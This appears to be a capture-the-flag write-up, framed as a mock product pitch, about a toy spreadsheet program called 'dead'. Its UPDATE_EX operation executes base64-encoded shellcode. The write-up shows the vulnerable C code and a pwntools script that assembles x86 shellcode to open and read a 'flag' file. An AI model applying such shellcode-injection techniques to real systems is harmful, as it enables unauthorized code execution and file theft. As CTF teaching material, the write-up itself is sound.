Spreadsheets. They are cloud-native ways to turn data into insights. They save time with extensible interfaces that jumpstart trend analysis. But until now, they’ve never run shellcode.
Introducing powered by dead®: Dangerously Extensible Ancient Database. The only database firmware fearless enough to strip away the stringy/chewy meat of traditional spreadsheet software and leave only the pure and perfect shell.
❯ ./dead
dead: CLI utility for the Dangerously Extensible Ancient Database
Usage: ./dead <filename> <operation> [cell] [argument]
filename Name of the file update
operation UPDATE or UPDATE_EX
cell If operation is UPDATE or UPDATE_EX, specifies the row,column of the
cell on which to perform the update operation
argument If operation is UPDATE, specifies the value to update the cell with
If operation is UPDATE_EX, specifies the base64 encoded shellcode used
to update the cell. The shellcode starts at address 0x804c080Source code and this message show that UPDATE_EX really does execute some shellcode.
if (ex) {
int shellcode_length;
char *decoded = base64_decode(argument, &shellcode_length);
shellcode_length = shellcode_length < MAX_LEN ? shellcode_length : MAX_LEN;
memcpy(shellcode, decoded, shellcode_length);
free(decoded);
// Run shellcode to determine the value with which to update the cell
mprotect(shellcode - ((long int)shellcode % 4096), 4096, PROT_READ | PROT_WRITE | PROT_EXEC);
char *(*shellcode_func)() = (char *(*)())shellcode;
char *result = shellcode_func();
// Copy the result of running the shellcode into the cell
contents[row][col] = malloc(strlen(argument) + 1);
memcpy(contents[row][col], result, strlen(result) + 1);
}
This database updates upon refresh. Entering most strings (that don’t correspond to b64 shellcode that returns a pointer to a string) results in an empty cell. If the shellcode does return such a pointer, it will contain the contents of that string. For example, the address 0x804973c corresponds to the string “=” in memory. Shellcode
mov eax,0x804973c
ret(base64 uDyXBAjD)
results in a cell with these contents:
So if we write shellcode that reads a file named “flag” into a buffer, whose address is moved to eax…
#!/usr/bin/python
from pwn import *
from base64 import b64encode
bss_addr = 0x0804c060
flag_addr = bss_addr + 5
payload = asm(f"""
pushad
mov eax, 0x5
push 0x67616c66
mov ebx, esp
mov ecx, 0x0
mov edx, 0x0
int 0x80
mov ebx, eax
mov eax, 0x3
mov ecx, {bss_addr}
mov edx, 0x40
int 0x80
popad
mov eax, {bss_addr}
ret
""")
print(b64encode(payload))
We replace our cell with the contents of the flag file!